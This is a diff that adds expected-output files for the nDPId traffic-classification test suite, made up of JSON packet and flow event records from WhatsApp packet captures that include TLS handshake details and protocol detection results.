+00538{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":396344,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"ABoRAAACABoRAAABCABFAAB2AHVAABAGu+ieVQXHCggAAQG7yXLRCAyULvf0HlAY\/\/\/HagAAAAAF+AMBOpEAAAP4AZyAAD3R2SJUFL+WmONY2jnAR6iFbnzo1F04Mk9aQ7pMB3jFpE\/2QLImTv75ry8So55cU5C0ZcvZ8UqUnVVZP8pc"} +00429{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":446637,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY3xAAEAGKS8KCAABnlUFx8lyAbsu9\/Qe0QgM4lAQOQj8eAAA"} +00469{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":446728,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABGY31AAEAGKRAKCAABnlUFx8lyAbsu9\/Qe0QgM4lAYOQhpbAAAgAAbuM5NpFPW5E+nhA3j2KB5ISZsee1J96QCB+EK"} +00430{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":446820,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAHZAABAGvDWeVQXHCggAAQG7yXLRCAziLvf0PFAQ\/\/81YwAA"} +00463{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":497204,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/Y35AAEAGKRYKCAABnlUFx8lyAbsu9\/Q80QgM4lAYOQhf9QAAgAAULrTVRfclocxvAEDKkmpWAUPDzSE="} +00431{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":497388,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAHdAABAGvDSeVQXHCggAAQG7yXLRCAziLvf0U1AQ\/\/81TAAA"} +00476{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":604443,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIY39AAEAGKQwKCAABnlUFx8lyAbsu9\/RT0QgM4lAYOQheQgAAgAAd48cbhiG5dSWqSoTRnaV\/xNRiXY9iz\/jY6IWzLM0="} +00431{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":604626,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAHhAABAGvDOeVQXHCggAAQG7yXLRCAziLvf0c1AQ\/\/81LAAA"} +00467{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":654950,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"ABoRAAACABoRAAABCABFAABCY4BAAEAGKREKCAABnlUFx8lyAbsu9\/Rz0QgM4lAYOQgVDQAAgAAXtvdkyKnboCess\/qki09xS72kRAR872w="} +00431{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820694,"pkt_ts_usec":655133,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAHlAABAGvDKeVQXHCggAAQG7yXLRCAziLvf0jVAQ\/\/81EgAA"} diff --git a/test/results/whatsappfiles.pcap.out b/test/results/whatsappfiles.pcap.out new file mode 100644 index 000000000..da47263bd --- /dev/null +++ b/test/results/whatsappfiles.pcap.out @@ -0,0 +1,37 @@ +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1519924083411,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49674,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":411187,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"XEl5dU5qkLkxKPrKCABFAABAAABAAEAG5oDAqAIduTzYNcIKAbs8JoRvAAAAALDC\/\/8eywAAAgQFtAEDAwYBAQgKKOUV+QAAAAAEAgAA"} +00440{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":501147,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kLkxKPrKXEl5dU5qCABFAAA8AABAAFUG0YS5PNg1wKgCHQG7wgonNGFZPCaEcKASbTj4zgAAAgQFggQCCAoJITj5KOUV+QEDAwg="} +00428{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":503118,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIKAbs8JoRwJzRhWoAQCAWMQgAAAQEICijlFlQJITj5"} +00757{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":506116,"pkt_caplen":309,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":309,"pkt_l4_len":275,"pkt":"XEl5dU5qkLkxKPrKCABFAAEnAABAAEAG5ZnAqAIduTzYNcIKAbs8JoRwJzRhWoAYCAVSawAAAQEICijlFlYJITj5FgMBAO4BAADqAwPdYI75M\/7Hk5QfaVF+3jFJrn8JCAyxqJHjkbfYArYsNAAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACZ\/wEAAQAAAAAZABcAABRtbWctZm5hLndoYXRzYXBwLm5ldAAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAM3QAAAASAAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00808{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1519924083411,"flow_last_seen":1519924083506,"flow_tot_l4_data_len":391,"flow_min_l4_data_len":32,"flow_max_l4_data_len":275,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsAppFiles","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mmg-fna.whatsapp.net","ja3":"107144b88827da5da9ed42d8776ccdc5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00428{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":596769,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKXEl5dU5qCABFAAA0WA5AAFUGeX65PNg1wKgCHQG7wgonNGFaPCaFY4AQAHKSgAAAAQEICgkhOVko5RZW"} +02309{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":598208,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"kLkxKPrKXEl5dU5qCABFAAWqWA9AAFUGdAe5PNg1wKgCHQG7wgonNGFaPCaFY4AQAHIKKQAAAQEICgkhOVoo5RZWFgMDAEoCAABGAwN2JuCvNTP6QWM9pzKD\/cxL\/UByXEXf445CpKr2ya+mhwDAKwAAHgAAAAD\/AQABAAALAAQDAAECACMAAAAQAAUAAwJoMhYDAwuSCwALjgALiwAG0DCCBswwggW0oAMCAQICEA+Bv5rm7v\/kFf2eyPNQljcwDQYJKoZIhvcNAQELBQAwcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwHhcNMTcwNDI2MDAwMDAwWhcNMTgwNTAxMTIwMDAwWjBpMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTETMBEGA1UEBxMKTWVubG8gUGFyazEXMBUGA1UEChMORmFjZWJvb2ssIEluYy4xFzAVBgNVBAMMDioud2hhdHNhcHAubmV0MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEKdrV937kE6LLAefsbs3VWviuzemY3ZfxQN3xRakSsoaliv7Y5GrVsw7Zpf8qD64tpv1zZyu1q8d5QYPVFraNGKOCBDIwggQuMB8GA1UdIwQYMBaAFFFo\/5CvAgd1PMzZZWRiohK4WXI7MB0GA1UdDgQWBBTOvtmcE\/Hpdw9nVhDPrrMPWW+2kzBtBgNVHREEZjBkghIqLmNkbi53aGF0c2FwcC5uZXSCEiouc25yLndoYXRzYXBwLm5ldIIOKi53aGF0c2FwcC5jb22CDioud2hhdHNhcHAubmV0ggx3aGF0c2FwcC5jb22CDHdoYXRzYXBwLm5ldDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNS5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNS5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB8wYKKwYBBAHWeQIEAgSCAeMEggHfAd0AdQCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAVur6AdGAAAEAwBGMEQCIAdhL0JGHAwVstkFDxx5uR5tWMrXEnCfvfOAkhPvsX+vAiAtiNAjFenr8IsHyIUYNUyZMjKigiFM4zIicOvIQ5DBwQB1AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABW6voCCYAAAQDAEYwRAIgDQwj0NpInNvmDAEDQ4iF6KcoHweDkWsnI4\/CZYl\/IasCIBnZc3Yh+lXUzgGhpKoW8UP5rkmTDNTqZacPZHfvsQ9AAHYA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFbq+gIGQAABAMARzBFAiA\/diVHEHyPEjw4Z8WjzlhKwA8CQfgK"} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1519924083411,"flow_last_seen":1519924083598,"flow_tot_l4_data_len":1853,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsAppFiles","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mmg-fna.whatsapp.net","ja3":"107144b88827da5da9ed42d8776ccdc5","ja3s":"2d1eb5817ece335c24904f516ad5da12","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02312{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":599440,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"kLkxKPrKXEl5dU5qCABFAAWqWBBAAFUGdAa5PNg1wKgCHQG7wgonNGbQPCaFY4AQAHIPdQAAAQEICgkhOVoo5RZW\/dcoXSxsCU5cBAIhAINpYGdpWpazDDNWkzT9AR6h8LyEDdOOiu12dnqLjpgnAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFbq+gINwAABAMARjBEAiBNbuOMMijmq48wEigA3slTMwPvPBUfWU\/4HiDvX0W7twIgQbSpfsCXXKcWVWJ9SQwwLlHc5\/kWPUX+YuuSw4lvtAcwDQYJKoZIhvcNAQELBQADggEBAKQRblH81cOz2zGpLrJXKVJN+2RT6iGuRB0m8HtLDnViOFii7tA01AETzb\/L7K4HbmTAZQfoqSBnwHFSEHCADc4eWYZdR2U2Ufuolu2njjaxFekgWONG\/4xzBiNlIeRJjyflBRzXguDmsDa7zWatUfFbsv6fDRB4fAWF5JK9EfnADzrk+vI0GgTeIUkaiOnVjS8t78IFY5Hg+beLLgsLQhEz2pZSOmxwdnpYIfOgZ15tz0d1NeKorqQfcu8T77Jc\/QkRxQqfov8iS3+R602kQYkHG3B8Hd0ZwBt8kRHvwxG3ZmVmcgxu1BePoWkmVNTBeZV3W9REkaZYVGD+pjSm+UIABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBRRaP+QrwIHdTzM2WVkYqISuFlyOzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAGIqViQPm"} +00991{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":599471,"pkt_caplen":478,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":478,"pkt_l4_len":444,"pkt":"kLkxKPrKXEl5dU5qCABFAAHQWBFAAFUGd9+5PNg1wKgCHQG7wgonNGxGPCaFY4AYAHKF1QAAAQEICgkhOVoo5RZWbd9c\/B1o6kqPg9ZRL41rRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwCUDAAAkAMAF0EExpxPVDtuBFQHuVAFHEBmpSGMKpf00BMYBiPWkLpyx+JNXrgOTd0KWUhyHFVmRn7iyER6R8bAChbG8edEynweeQUDAEcwRQIgDJYRyDjJIqHtT7MRLB7fEpcF0WqS8J4d5Lu3j7TveiICIQDlEvs2xCJNS6AkGDjgUA7kn1LXVV8M5pEZzXbiWZhoOBYDAwAEDgAAAA=="} +01236{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":8,"flow_first_seen":1519924083411,"flow_last_seen":1519924083599,"flow_tot_l4_data_len":3727,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":465,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49674,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsAppFiles","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mmg-fna.whatsapp.net","server_names":"*.cdn.whatsapp.net,*.snr.whatsapp.net,*.whatsapp.com,*.whatsapp.net,whatsapp.com,whatsapp.net","ja3":"107144b88827da5da9ed42d8776ccdc5","ja3s":"2d1eb5817ece335c24904f516ad5da12","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=Menlo Park, O=Facebook, Inc., CN=*.whatsapp.net","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"10:54:EB:4A:A2:2A:42:2F:A6:1C:E7:9C:F4:84:10:7E:30:2E:56:BB"}} +00429{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":602045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIKAbs8JoVjJzRsRoAQB9l\/zgAAAQEICijlFrQJITla"} +00430{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":603044,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIKAbs8JoVjJzRt4oAQB9N+OAAAAQEICijlFrQJITla"} +00430{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":681986,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIKAbs8JoVjJzRt4oAQCAB9vgAAAQEICijlFwEJITla"} +00604{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924083,"pkt_ts_usec":964778,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"XEl5dU5qkLkxKPrKCABFAACyAABAAEAG5g7AqAIduTzYNcIKAbs8JoVjJzRt4oAYCADbUgAAAQEICijlGAAJITlaFgMDAEYQAABCQQRdV6wGCcOfzmkBM6UT7MLQweQglYbbBMmWC\/bTbVTeFNmERFNv6vjMpLPWUwkAgMMJDY92ziv5lE0LjXnahqCmFAMDAAEBFgMDACgAAAAAAAAAANRe9BeWafmHBmc3i\/AP4m88nQY\/ws+ghWGksOMTGrPc"} +00777{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924084,"pkt_ts_usec":60416,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"kLkxKPrKXEl5dU5qCABFAAE2WBJAAFUGeHi5PNg1wKgCHQG7wgonNG3iPCaF4YAYAHI66gAAAQEICgkhOyQo5RgAFgMDAMoEAADGAAKjAADATITY1B9Ak7wZ6olRUGgkVPl3S5mgCrJekYUw0HX45Z9tQzv4rlsGmb+6NLUZ6w9Mxl3yixNtYRmbID+cqeo69nu8y0vFs1hO9HivALzzf9j40b0NikCxYoeQ0P+1UtRmYMXRNXrLprDl2bzvHQg0Zf8sEzS+f3lYmmex798boU7Lzz1Y9FphkwTwXdjo7fuWBUxelYpJv78DqNaEWn2BVLBww17aeRy+4RvBG25pGCQLky+W3IBA89xIJF673Xs6FAMDAAEBFgMDACjSpG+dn47MCFMdsvSuj5FxFTRYX6QESM80NxiP\/OYG0hUxje0vAoli"} +00541{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924084,"pkt_ts_usec":60422,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"kLkxKPrKXEl5dU5qCABFAACFWBNAAFUGeSi5PNg1wKgCHQG7wgonNG7kPCaF4YAYAHKq7AAAAQEICgkhOyQo5RgAFwMDAEzSpG+dn47MCdcjbp4IzLg5l0yxO7j7YS34Peee5iNn2m7z9rMVpOz\/mVJ21Y6Ls0iC1tnnuAStIDHvozNy+E7SSWzXzb7BjEE8WbmQ"} +00430{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"whatsappfiles.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1519924084,"pkt_ts_usec":62704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5qkLkxKPrKCABFAAA0AABAAEAG5ozAqAIduTzYNcIKAbs8JoXhJzRu5IAQB\/t5AAAAAQEICijlGHoJITsk"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"whatsappfiles.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1519924240121,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.29","dst_ip":"185.60.216.53","src_port":49698,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 